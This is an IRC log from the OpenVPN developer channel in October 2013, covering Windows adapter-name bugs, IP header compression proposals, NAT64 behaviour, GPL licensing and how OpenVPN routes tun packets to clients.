<@d12fk> the adapter name is queried from the registry as an 8 bit string 11:02 <@d12fk> there's the problem 12:09 <@d12fk> ok new error code from netsh: "The object already exists" 12:09 <@d12fk> like when i type it into cmd directly 12:11 <@d12fk> seems netsh has a problem with umlaut itf names 12:11 <@d12fk> good time to run -> feierabend 12:36 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 12:38 < ludde> how come OpenVPN doesn't have an algorithm tuned to compress tcp/ip headers? I did some rough tests and were able to compress them from 40 to ~20 bytes on average 12:53 < waldner> doesn't lzo compression work? 12:59 < ludde> tcp/ip headers are not very compressible with lzo, as lzo works by finding repeated substrings, and the tcp/ip headers contains nothing that repeats 13:18 <@plaisthos> ludde: is there some standard open source algorithm that does tcp/ip compression good? 13:18 < ludde> i don't know of any 13:22 < waldner> which algorithm did you use then? 13:23 < ludde> my own 13:28 <@plaisthos> as a side note tls+compression is getting "bad press" at the moemnt 13:28 <@plaisthos> just look at the CRIME attack 13:29 < ludde> that doesn't affect openvpn 13:29 < ludde> ah 13:29 < ludde> well it does if people assume their http-on-top of openvpn is secure. 13:31 <@plaisthos> :) 13:31 <@plaisthos> For OpenVPN it might be even easier to inject certain traffic into the tunnel 13:31 <@plaisthos> just think of ping with payload 15:18 < ludde> 28 byte udp header compressed to 8 bytes with my algorithm 16:03 -!- mattock is now known as mattock_afk 18:17 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds] 20:18 -!- raidz is now known as raidz_away 22:51 < Hes> There's Van Jacobson header compression algorithm, I suppose that's the standard way. 22:52 < Hes> Compresses to 3-4 bytes on the average case. --- Day changed Tue Oct 15 2013 00:16 < Hes> Was popular back in the day of SLIP, modems and PPP. 00:57 -!- mattock_afk is now known as mattock 03:17 <@cron2_> with the more modular compression code in 2.4/master, it would actually be not so hard to add this in a way that can be negotiated and back-compatible... 03:17 * cron2_ is not going to write that code, though :-) 03:18 <@d12fk> ok got the 'Löcal Network Connection 3" (aka tap adapter) to connect, just had to reboot. big surprise with windows... 03:18 <@d12fk> will send patch today 03:36 <@cron2_> cool 03:38 <@d12fk> pekster: maybe you'd give it a try soon 03:38 * d12fk is too lazy to test it with anything other than windows 7 03:39 <@d12fk> oh i meant busy not lazy =) 08:15 <@mattock> d12fk: yeah, sure :D 08:15 <@mattock> me too 08:15 <@mattock> :P 08:21 <@ecrist> lol 08:21 <@d12fk> 15 month until the hackathon 08:22 <@d12fk> uhm, 1 actually 08:40 <@pekster> d12fk: Sure, I can test with Vista x64 here, and maybe my Windows 8 preview install still boots 08:57 <@d12fk> pekster: win8 would be great 09:00 <@pekster> If that doesn't work I'll see if I can steal some time on my sister's new win8 system (I helped her dual-boot that laptop, so she owed me ;) 09:00 * pekster won't let the fact that she's in another state stop him :D 09:00 <@d12fk> rdp ftw =) 09:01 <@pekster> RDP over a reverse-forwarded TCP tunnel over ssh, no less ;) 09:01 <@d12fk> that's the spirit! )( 09:01 <@pekster> I _might_ have done this in the past you see.. 09:04 <@d12fk> sounds like it 09:04 <@d12fk> no doubts =) 09:05 <@d12fk> having relatives configure DNAT mostly is much more work than something like that 09:11 <@pekster> If any of you end up with a Win8 box, the GPL classicshell.net installer makes it usable again with a pretty good start menu replacement 10:20 -!- raidz_away is now known as raidz 10:48 -!- ludde [~b@62.65.106.155] has joined #openvpn-devel 13:41 <@cron2_> d12fk: in your patch, there is this line: 13:41 <@cron2_> + const WCHAR name_string[] = L"Name"; 13:41 <@cron2_> is this a magic windows thing, the "L" there before "Name"? 13:41 <@cron2_> my brain C parser says "this is a typo", but is confused a bit 13:42 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 13:44 <@pekster> cron2_: "windows-fu" it looks like, judging by this: http://msdn.microsoft.com/en-us/library/windows/desktop/aa367308%28v=vs.85%29.aspx 13:44 <@vpnHelper> Title: wchar_t attribute (Windows) (at msdn.microsoft.com) 13:49 <@pekster> Apparently this "confuses" enough Windows programmers to lead to articles like this: http://www.codeproject.com/Articles/76252/What-are-TCHAR-WCHAR-LPSTR-LPWSTR-LPCTSTR-etc 13:49 <@vpnHelper> Title: What are TCHAR, WCHAR, LPSTR, LPWSTR, LPCTSTR (etc.)? - CodeProject (at www.codeproject.com) 13:49 <@pekster> What a silly platform :P 13:50 <@pekster> Seems it's just a way to "cast" a constant definition 14:06 <@cron2_> well, we have that for numbers ("a = 0L"), but it's interesting to see it applied to strings 14:07 <@cron2_> ugh, TCHAR is not what I'd want to use "depending on compile-time options, my software uses single-byte or double-byte chars" scary 14:10 <@pekster> Looks like the MultiByteToWideChar() function can convert it as a function call too, although it should have the same effect as long as the compiler understands the L prefix for wide char string 14:11 <@pekster> We do have wide_string() in win32.c though 14:12 -!- MeanderingCode [~Meanderin@192.241.150.232] has left #openvpn-devel ["elsewhere."] 14:13 <@cron2_> yeah, knowing what the L does, the patch looks good to me now :-) - I can't test it right now, though (I'm in Athens this week, my own laptop is at repairs...) 14:14 <@pekster> I'll give it a whirl tonight (best to save Windows stuff until after the first glass of whiskey ;) 16:29 -!- mattock is now known as mattock_afk 17:19 <@plaisthos> we have that in C11 too btw.. 17:22 <@plaisthos> oh sorry seems like L"wchar string" u"utf-16" u8"utf-8 string" and U"UTF-8" are c++ only ... 17:24 <@plaisthos> But standard C++ not microsoft specific stuff 17:24 <@plaisthos> cron2_: could be a C++ feature accept by C parsers 18:34 -!- ludde [~b@62.65.106.155] has quit [Ping timeout: 268 seconds] 19:21 <@ecrist> ping mattock - is cloudflare still going to be used for the site? 20:05 -!- raidz is now known as raidz_away 20:37 <@vpnHelper> RSS Update - tickets: #338: down-root plugin does not adhere to environment contract specified for scripts <https://community.openvpn.net/openvpn/ticket/338> --- Day changed Wed Oct 16 2013 02:34 -!- mattock_afk is now known as mattock 02:57 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 03:13 -!- Netsplit *.net <-> *.split quits: ender| 07:02 <@ecrist> good morning, mattock 08:37 <@cron2_> fun 08:37 * cron2_ sits in an unrelated meeting where the organizers have set up an ipv6-*only* wifi ssid, and someone comes and complains that OpenVPn will not work then... but it actually does (on Android), just the Connect client for MacOS does not want to do so 08:38 <@cron2_> Tore is also here, which is double fun :-) 08:41 <@mattock> hi ecrist 08:41 <@cron2_> OpenVPN behind DNS64/NAT64 setups is... complicated 08:41 <@mattock> playing with pekster's openvpn-build depcache patch 08:42 <@mattock> looks neat, but for some reason the build based on depcache files failed 08:42 <@mattock> doing a rebuild 09:32 -!- raidz_away is now known as raidz 10:58 <@pekster> mattock: Ah, and FYI I have a partial fix to make it work with 32/64 bit builds too (right now you need to use it with the single build, not the build-complete script 10:59 <@mattock> ah, ok 12:13 <@plaisthos> ipv6 only wifi: good for google, facebook and twitter ;) 13:10 <@vpnHelper> RSS Update - gitrepo: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb9 13:41 <@ecrist> mattock: I think I've got the forums migrated. need to test email and some other things tonight, but it should be good to go this weekend. 14:38 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 16:44 -!- mattock is now known as mattock_afk 17:10 -!- cron2_ [~gert@openvpn/community/developer/cron2] has quit [Read error: Connection reset by peer] 17:12 -!- waldner [waldner@openvpn/user/waldner] has quit [Ping timeout: 245 seconds] 20:15 -!- raidz is now known as raidz_away --- Day changed Thu Oct 17 2013 01:26 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:26 -!- mode/#openvpn-devel [+o cron2] by ChanServ 01:27 <@cron2> plaisthos: well, it had NAT64/DNS64, so "everything works in theory" :-) - unless an application connects to hard-coded IPv4 addresses, doesn't use the getaddrinfo() API, etc. 01:28 <@cron2> OpenVPN actually works nicely connecting from an IPv6-only source to an IPv4-only server through a NAT64/DNS64 box... 01:28 <@cron2> *if* the server is specified by dns name, not by IPv4 address 01:35 -!- mattock_afk is now known as mattock 04:38 -!- waldner [waldner@openvpn/user/waldner] has joined #openvpn-devel 08:04 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 240 seconds] 08:05 <@cron2> ... and if you're aware that you all of a sudden need to specify --proto upd6 to connect to an IPv4-only server... 08:05 <@cron2> plaisthos: we need to get this fixed! 08:07 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 08:07 -!- mode/#openvpn-devel [+o raidz] by ChanServ 08:39 <@plaisthos> cron2: I know. 08:40 <@plaisthos> I will repost my dual stack patches on the mailing list ;) 15:16 -!- mattock is now known as mattock_afk 16:39 -!- raidz is now known as raidz_away 17:58 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 17:59 < ludde> Can openvpn add support for this instead of LZO? https://github.com/strigeus/ipzip/tree/master 17:59 <@vpnHelper> Title: strigeus/ipzip · GitHub (at github.com) 18:15 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 245 seconds] --- Day changed Fri Oct 18 2013 00:52 -!- mattock_afk is now known as mattock 01:32 <@cron2> ludde: well, with the new framework, we can add as many compression algorithms as you like, but where's the benefit? Another algorithm brings code complexity, increases then numbers of variants we need to test, and complicates installation ("you need to install this and that library first"). 01:32 <@cron2> is that much more efficient than lzo or snappy, or need significant less CPU? 01:35 <@cron2> ludde: and, of course, if you want this in, it's on you to write the patch :-) - but before starting this, it would be good to have numbers comparing ipzip to lz4, lzo and snappy on "typical" traffic (mix of http, imap, ...) - James already proposed to add lz4 01:36 <@cron2> oh, btw, and the compressor needs to understand not only IPv4, TCP and UDP, but also IPv4 with arbitrary other protocols on top of it, IPv*6*, and Ethernet 01:36 <@cron2> we're not adding ipv4-only stuff to OpenVPN anymore 02:26 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 02:27 < ludde> can openvpn add support for this compressor? https://github.com/strigeus/ipzip/tree/master 02:27 <@vpnHelper> Title: strigeus/ipzip · GitHub (at github.com) 03:21 <@plaisthos> cron2: c++ openvpn already does lz4 03:29 < ludde> what is cron2 c++ openvpn 03:41 < waldner> it's the new implementation 03:45 < syzzer> ludde: you missed cron2's response on your question while you left and returned to the channel 03:47 < syzzer> <cron2> ludde: well, with the new framework, we can add as many compression algorithms as you like, but where's the benefit? Another algorithm brings code complexity, increases then numbers of variants we need to test, and complicates installation ("you need to install this and that library first"). 03:47 < syzzer> <cron2> is that much more efficient than lzo or snappy, or need significant less CPU? 03:47 < syzzer> <cron2> ludde: and, of course, if you want this in, it's on you to write the patch :-) - but before starting this, it would be good to have numbers comparing ipzip to lz4, lzo and snappy on "typical" traffic (mix of http, imap, ...) - James already proposed to add lz4 03:47 < syzzer> <cron2> oh, btw, and the compressor needs to understand not only IPv4, TCP and UDP, but also IPv4 with arbitrary other protocols on top of it, IPv*6*, and Ethernet 03:47 < syzzer> <cron2> we're not adding ipv4-only stuff to OpenVPN anymore 03:52 <@cron2> plaisthos: yeah, you mentioned that before, which surprised me a bit - I thought James just had the idea (and I'm still waiting for a patch for 2.3...) 04:10 < ludde> thanks 04:11 < ludde> cron2: the header compression is enabled only for IPv4 04:13 < ludde> cron2: if the packet is not ipv4 it fallbacks to plain lz4. 04:14 <@cron2> ok, so it will at least not break anything :) 04:14 < ludde> yes that's the idea. 04:14 < ludde> when will openvpn in c++ be released? 04:15 <@cron2> that is a good question. A source snapshot has been released, but the "real release" process got stuck somewhere (poke mattock, so he can poke james) 04:17 < ludde> btw, is there a way to switch to a 4 byte hmac and short IV to keep packet overhead low? 04:18 <@cron2> technically, of course, but I can't say what the security implications would be (I'm the networking guy, not the SSL/security guy) - that should be discussed on the openvpn-devel list 04:19 < ludde> well it already supports turning off mac and iv completely, but some middle thing would be nice 04:20 < ludde> does the new c++ core do more automated negotiating of parameters or does the client config file still need to list every setting the server wants to use? 04:20 <@cron2> pushable things can still be pushed, non-pushable things can still not be pushed 04:22 <@cron2> so it depends on which of the "every settings" you are talking about :-) 04:25 < ludde> i tried with push comp-lzo and it semeed like it wouldn't work to push it 04:26 < ludde> i need comp-lzo no in the client config for the push to work 04:26 <@cron2> that should work with 2.4 onward - in 2.3 it only works if you have "comp-lzo no" in your client config (because that's actually different from "no comp-lzo ..." in there) 04:26 <@cron2> yeah 04:27 < ludde> how does packet compression affect path mtu discovery? 04:27 <@cron2> it shouldn't (except "if the packets are all compressed well enough to never hit path mtu, nothing can be discovered") 04:29 < ludde> if a client sends a 1500 byte packet that successfully delivers (because it was compressed down to the _real_ mtu of, say 1400), maybe it now concludes that the MTU is 1500 and will send packets this large forever? 04:30 <@cron2> no 04:30 < ludde> or is path mtu discovery a more continuous mechanism that keeps evaluating stuff all the time? 04:30 <@cron2> yes 04:30 < ludde> ok 04:32 < ludde> where can i find the valid values for the 1 byte tag byte that is in every openvpn payload? 04:32 <@cron2> compression.h in git master, I'd say (without having looked) 04:32 <@cron2> that part changed in master, when adding snappy compression 04:33 < ludde> i'm not actually taking about the byte that's prepended to lz4.. 04:33 < ludde> er 04:33 < ludde> lzo 04:33 < ludde> there's another byte that's used even when compression is off, i believe? 04:33 < ludde> or is that the one you talk about already 04:33 <@cron2> uh, if it's not the compression type byte, I'd need to check 04:35 < ludde> are there some sample packet captures of various traffic i can use to evaluate different compression algorithms? 04:36 * cron2 has none "ready made" 04:37 <@cron2> ok, flight boarding now... will be back later 04:38 < ludde> bye 05:26 <@mattock> ludde: I've poked James a few times about the release of the C++ version 05:26 < ludde> ok 05:27 <@mattock> what I do know that he's finally moving his own stuff to Git, which means putting the C++ version to GitHub/SF.net should be straightforward to him 05:27 <@mattock> I'm not sure if there's something else blocking him from doing a proper release 05:28 <@mattock> until he puts the development code to a public place there's little point in working on the C++ version 05:28 <@mattock> I'll poke him once more to see what he has to say 05:32 <@mattock> done 05:32 <@mattock> hopefully James responds 05:33 <@mattock> although he's on vacation atm, until 29th Oct 05:38 < ludde> alright 05:38 < ludde> is the C++ version much less code? 05:48 <@plaisthos> currently yes 05:48 <@plaisthos> think it only supports a subset of the features 05:48 <@plaisthos> and there are the license issues with the C++ port 05:48 <@plaisthos> AGPL3 + contributors agreements iirc 05:49 <@plaisthos> from a quick wc -l it is 35k lines vs 70k 06:00 <@mattock> yep, the CLA/JCA is a bitch 06:01 <@mattock> primarily required for the appstore and such 06:01 <@mattock> because the alternative (=release as BSD/MIT) could have even more unintended consequences 06:33 <@plaisthos> tell me about it 06:34 <@plaisthos> people already treating my gpl app as if it were "no attribution, use code freely" license 06:47 <@mattock> yeah 06:47 <@mattock> people don't understand even the basics of copyrights or licensing 06:48 <@mattock> I think that's why there's so much stuff on Youtube that's clearly infringing on somebody's copyrights 06:48 <@d12fk> plaisthos: have you ever thought about contacting gpl-violations.org? 06:48 <@mattock> most don't know, some don't care 06:49 <@mattock> d12fk: I have a couple of "check if these guys violate OpenVPN's GPLv2 license" on my TODO... I'll remember that (had forgotten about it) 06:50 <@plaisthos> d12fk: not yet. I wanted to talk about that in our meeting next month since all these apps also include OpenVPN. 06:51 <@d12fk> it might be a discussable point that the apps themself just use the mgmt itf and are not gpled automatically 06:51 <@plaisthos> yeah 06:51 <@plaisthos> that is right 06:52 <@d12fk> but still they have to offer the ovpn source code 06:52 <@plaisthos> but you still need to have some about or such stating that you are shipping gpl software 06:52 <@d12fk> yes you need to present the license 06:52 <@plaisthos> I think even I violate that at the moment ... 06:52 <@d12fk> somewhere hidden preferably =) 06:52 <@plaisthos> since I don't show to full GPL 06:53 <@d12fk> hm if you provide a pointer that might suffice 06:53 <@plaisthos> yeah. 06:53 <@d12fk> at least it shows that you have nothing to hide, which i can settle with for myself 06:54 <@plaisthos> I intent to add a "full licenses" button in the next version which will annoy you with "licenses wall of text" 10:40 -!- mattock is now known as mattock_afk 10:50 -!- raidz_away is now known as raidz 12:23 < ludde> does openvpn use one process per connected client? 12:30 < ludde> i guess not 12:31 < ludde> when a packet comes in, how does openvpn know which client it belongs to? 12:36 <@pekster> ludde: Each client uses a unique IP/socket that associates the data to the client. On top of that the HMAC needs to match for the packet authentication checks to pass 12:37 < ludde> ah. 12:37 < ludde> pekster: I made a library of the compression stuff I was talking about last time we spoke: https://github.com/strigeus/ipzip/tree/master 12:37 <@vpnHelper> Title: strigeus/ipzip · GitHub (at github.com) 12:42 -!- raidz is now known as raidz_away 12:44 -!- raidz_away is now known as raidz 13:01 < ludde> hmm openvpn contains sooo much code, it seems like only 10% is really needed. 13:06 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has quit [Remote host closed the connection] 13:06 -!- raidz is now known as raidz_away 13:07 -!- raidz_away is now known as raidz 13:09 < ludde> the openvpn source code has a very cute mix of spaces and tabs 13:15 -!- raidz is now known as raidz_away 13:15 -!- raidz_away is now known as raidz 13:42 <@cron2> ludde: it's all full of special cases, yep... 13:43 < ludde> i'll try to make my own vpn app 13:47 <@plaisthos> ludde: it is gnu style with tab=8 spaces and use tab whenever possible in most parts 13:47 <@cron2> now it's not *that* bad... 13:47 < ludde> cron2: well i want to learn things too 14:41 < ludde> hihi now i have a tun adapter running with an IP of my choice on Windows! 18:44 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds] 18:59 <@plaisthos> I am skeptical about a custom IP header compression algorithm 18:59 <@plaisthos> I excpet that there is a lot scientific reasearch in that area 19:00 <@plaisthos> like entory of IP headers and possiblities for compression 19:36 -!- raidz is now known as raidz_away 21:00 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Quit: Ciao] --- Day changed Sat Oct 19 2013 00:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Read error: Connection reset by peer] 00:37 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 00:37 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 02:50 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 02:50 -!- dazo_afk is now known as dazo 04:02 <+krzee> http://jiggerwit.wordpress.com/2013/09/25/the-nsa-back-door-to-nist/ 04:02 <@vpnHelper> Title: The NSA back door to NIST | Jigger Wit (at jiggerwit.wordpress.com) 05:53 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 07:16 <@vpnHelper> RSS Update - gitrepo: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb9 07:34 <@vpnHelper> RSS Update - gitrepo: Fix configure interaction with static OpenSSL libraries <https://github.com/OpenVPN/openvpn/commit/30e358e5de352c8de04a955dc89f33e1710e9b97> || Allow use of NetBeans without saving nbproject/ directory. <https://github.com/OpenVPN/openvpn/commit/550fe1a3a12ad9affbdff6ab1fc3e846f5e8d0b5> || Correct error text when no Windows TAP device is present <https://github.com/OpenVPN/openvpn/commit/2d34628af995676c8ecddb9 08:07 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 08:08 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 13:57 <@ecrist> bitches be gettin' banned and shit 14:01 < ludde> why do i get only 36Mbit/s between two windows computers with openvpn with auth none cipher none? without openvpn i get 912Mbits 14:01 < ludde> I made my own VPN client/server and then I see this performance: [284] 0.0-10.0 sec 205 MBytes 172 Mbits/sec 14:02 < ludde> maybe there's something fundamentally broken in the way openvpn talks to Windows sockets. 14:02 <@ecrist> you know Mbytes and Mbits are two different units of measure, right? 14:02 < ludde> eh? 14:03 <@ecrist> you said without openvpn, you get 912Mbits by with openvpn, you get 205 MBytes 14:03 < ludde> I'm the author of µtorrent, of course I know the difference between Mbytes and Mbits, why do you ask such a question 14:03 < ludde> 172 Mbits/sec 14:03 < ludde> vs 14:03 < ludde> 912Mbits/sec 14:03 <@ecrist> heh, my screen wrapped that funny 14:03 < ludde> vs 14:03 < ludde> 36 Mbit/s 14:03 <@ecrist> if you're the author of utorrent, I suggest taking a look at the openvpn source 14:04 < ludde> I did 14:04 < ludde> it seems like it uses a suboptimal way of talking to sockets 14:04 <@ecrist> patches are welcome 14:04 < ludde> it could use io completion routines 14:04 < ludde> i'm making my own vpn solution instead 14:05 <@ecrist> that seems constructive. 14:05 <@ecrist> why are you here, then? 14:05 < ludde> yes, maybe openvpn can borrow some ideas from me when i'm done 14:05 < ludde> i want to make openvpn better 14:05 < ludde> and learn how vpn works internally 14:05 <@ecrist> the best way to make openvpn better is to provide patches. you seem very capable and intelligent 14:06 < ludde> the openvpn source code is quite messy. 14:06 < ludde> and bige 14:06 < ludde> and big 14:06 < ludde> i heard someone's making a c++ rewrite already 14:07 < ludde> maybe that one has better io performance, once it's released 14:07 <@ecrist> openvpn has been rewritten in c++ specifically for android/apple apps 14:07 <@ecrist> it's not yet full-featured, but the goal is to hopefully move to that codebase for 3.x 14:08 < ludde> ok 14:09 < ludde> for now i think i will make my proof-of-concept VPN for high io performance and low packet overhead and then maybe OpenVPN could look at it in case it works well.. then i can focus on things I do well instead of puzzling my head around openvpn legacy bits of code. 14:11 < ludde> if there's a clear performance difference, then the openvpn devs would be inclined to fix openvpn. 14:59 <@cron2> patches are welcome :-) - it's a community project, and things get done when someone does them 14:59 <@cron2> jjk has done some performance profiling on Linux, but Windows is likely to be quite different 15:24 <@pekster> The upshot of that testing is that it's not "openvpn" that makes it slow -- it's openssl, and unless you use either AES-NI or kernel-crypto, you can't really get around that 15:24 <@pekster> context switching isn't nearly as expensive as software symmetric crypto 15:24 <@cron2> which makes me wonder why ludde's vpn is so much faster 15:25 < ludde> anyone knows about Ciphertext stealing? 16:04 <@plaisthos> iirc there is a patch for aes-cts and openvpn 16:05 <@plaisthos> oh sorry aes gcm 16:06 <@plaisthos> nevermind 16:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 16:36 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 16:36 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 17:04 -!- novaflash is now known as novaflash_away 17:30 -!- novaflash_away is now known as novaflash 18:06 < ludde> [284] 0.0-10.0 sec 153 MBytes 128 Mbits/sec <-- 128mbits/sec now over UDP with AES256/CFB and HMAC-SHA1 18:07 < ludde> with OpenVPN I get 35Mbits/sec or so. 20:08 -!- ludde [~b@host.62.65.106.155.bitcom.se] has quit [Ping timeout: 272 seconds] --- Day changed Sun Oct 20 2013 00:27 <@d12fk> cheesus, not another ego the size of alon's.... 01:56 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 245 seconds] 01:58 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 272 seconds] 02:06 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o raidz] by ChanServ 02:06 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:06 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:35 <@cron2> oh well, if someone would tell us what's the difference, I would be inclined to listen :-) 11:42 <@plaisthos> I am also not really was his point is? 11:42 <@plaisthos> That we all suck? 11:53 <@cron2> of course we do 11:53 <@cron2> we only have small egos, and other small parts as well 11:53 * cron2 has a beard, though! 11:59 <@plaisthos> 11:59 <@plaisthos> reminds me of http://www.wired.com/wiredenterprise/2012/06/beard-gallery/ 11:59 <@vpnHelper> Title: The Secret of a Successful Programming Language? A Really Great Beard | Wired Enterprise | Wired.com (at www.wired.com) 12:13 <@cron2> *snicker* 12:14 * cron2 points to http://public.greenie.net/gert/misc/2013_passfoto_001.jpg 12:14 <@cron2> (incredibly bad photo, but lots of hair) 12:17 <@plaisthos> you should start a programming language :) --- Day changed Mon Oct 21 2013 02:03 -!- syzzer [~syzzer@50709EB6.static.ziggozakelijk.nl] has joined #openvpn-devel 02:23 <@d12fk> looks more like a mugshot to me =) 02:43 <@cron2> biometric... "don't smile, eyes wide open, full frontal view"... 03:23 <@d12fk> oh i totally forgot to book stuff for the hackathon, will do today 03:24 <+krzee> mattock, i just noticed a typo on the web docs. 03:24 <+krzee> http://openvpn.net/index.php/open-source/documentation/security-overview.html 03:24 <+krzee> * P_CONTROL_HARD_RESET_SERVER_V1 -- Key method 2, initial key 03:24 <+krzee> * from server, forget previous state. 03:24 <+krzee> ^ this should say key method 1 not 2 03:24 <@vpnHelper> Title: Security Overview (at openvpn.net) 03:25 <@plaisthos> I bet we will all end up different hotels again ;) 03:26 <@d12fk> plaisthos: where are you staying 03:27 <@vpnHelper> RSS Update - tickets: #339: Properly quote command and arguments passed to system() in down-root. <https://community.openvpn.net/openvpn/ticket/339> 03:29 <@d12fk> i'll book motel one just down the road from space net 03:30 <@plaisthos> d12fk: I am at motel one too 03:30 <@plaisthos> iirc mattock stays at a different hotel 03:50 <@mattock> I'm at the motel that cron2 suggested 03:50 <@mattock> at the wiki page 03:52 <@mattock> krzee: I'll fix it right now 04:13 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 245 seconds] 04:14 -!- dazo_afk [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 04:14 -!- mode/#openvpn-devel [+o dazo_afk] by ChanServ 04:14 -!- dazo_afk is now known as dazo 04:16 <@mattock> krzee: fixed 04:17 * cron2 wonders who could be volunteered to look into the openvpn renegotiation -> memory leak issue 04:18 <@cron2> since this seems to be happening in the crypto side of things, andj/syzzer come to mind, or james... but all three have been suspiciously quiet on the list recently... 04:33 < syzzer> cron2: yes, I've been very busy with other projects and holidays recently... Although the holiday part won't be interfering anymore, the 'other projects' part probably will :( 07:04 <@vpnHelper> RSS Update - tickets: #340: BSD net/route.h <https://community.openvpn.net/openvpn/ticket/340> 07:37 <@ecrist> mattock: good morning 07:37 <@mattock> morning 07:39 <@ecrist> I think I have the new forum box ready, but do not control DNS and such, so couldn't do a cutover with out you 07:40 <@ecrist> it'll need to be updated one last time, when we decommission the old box 07:40 <@ecrist> but that whole process should take just a few minutes 08:10 <@mattock> ecrist: ok, I'll let raidz know, he can do the DNS switch 08:11 <@mattock> unless he has something really, really urgent, I think we could do the switch today 08:11 <@mattock> is the speed acceptable on forums? 08:11 <@mattock> I mean performance 08:19 <@ecrist> we won't know for sure until it's actually used 08:19 <@ecrist> it blew goats for compiling sources, though 08:20 <@mattock> what does blowing goats mean? 08:20 <@mattock> :D 08:34 <@cron2> ouch, trac #340 is lots of work for not that much visible gain... and guess who will have to do it... (oh, and it is likely to seriously annoy plaisthos) 08:38 <@ecrist> heh 08:38 <@ecrist> cron2: his solution makes more sense than what we've been doing, though 08:45 <@cron2> ecrist: I didn't say that it's not the right way to go :-) 08:46 <@ecrist> oh, I didn't mean to imply that. 08:46 <@ecrist> it's just frustrating when other people are right, and it's not easy 09:03 <@plaisthos> cron2: my patdches don't touch the route stuff or only very lightly 09:03 <@plaisthos> the main change from getaddr_multi to getaddrinfo is already in -master 11:26 <@cron2> plaisthos: oh, that is good to know 13:55 -!- mattock is now known as mattock_afk 15:01 <@pekster> 2 in 1 day that managed to confuse Connect vs OpenVPN. This is getting old 16:42 <+krzee> only 2? ;] 16:49 <@pekster> It's okay: that clip I shot you with only had 2 bullets that wern't blanks 17:03 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has quit [Ping timeout: 256 seconds] 17:06 -!- ludde [~b@host.62.65.106.155.bitcom.se] has joined #openvpn-devel 17:06 < ludde> after openvpn reads a packet from the tun device, how does it determine which udp client to send it to? 17:08 <@pekster> Unless you're using --client-to-client it doesn't. After a read from the tun device the packet normally goes to the kernel's network stack 17:08 -!- ender| [krneki@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel 17:09 < ludde> isn't it vice versa? after a WRITE to the tun device the packet goes to the kernel's network stack. 17:09 < ludde> when you read from the tun device it means the packet has already been in the kernel and the kernel routed it to openvpn 17:10 < ludde> and openvpn needs to send it to a connected client 17:11 <@pekster> Okay yes, but only if the packet is bound for a valid client. Each connected client has a mapping of IP to client details (IP & port) for the encrypted packet to be sent to 17:13 < ludde> so. when openvpn reads an ip packet from tun.. how does it know which of the valid clients to send it to? 17:13 < ludde> does it inspect the ip header? 17:14 <@pekster> OpenVPN knows that 10.8.0.2 (let's say) is assigned to "client1" at "203.0.113.123:1194" so packets bound for 10.8.0.2 get encrypted with the current session key assigned to that client's context and a UDP packet created, data encrypted/signed with the relevant session key, and sent off to the client 17:14 <@pekster> Yes, it's based on an IP association (in tun) and MAC address (in tap) 17:14 < ludde> ok thanks 17:14 < ludde> where's that ip parse code? 17:15 < ludde> link_socket_get_outgoing_addr perhaps? 17:16 < ludde> hm no 17:17 < ludde> it should be somewhere from process_incoming_tun 17:20 <@pekster> That's the right function, yes 17:20 < ludde> i can't find where it actually determines which client the packet is destined to. 17:21 < ludde> it kind of needs to do it before encrypt_sign is called, as encrypt_sign seems to assume that it's known which client it's for 17:21 <@pekster> That's just the low-level function to handle the association mapping through the passed buffer & context info. It's only ever called from encrypt_sign() 17:21 <@pekster> Because the detail is in the packet contents, passed as a buffer 17:22 <@pekster> The inter context struct has access to all of that 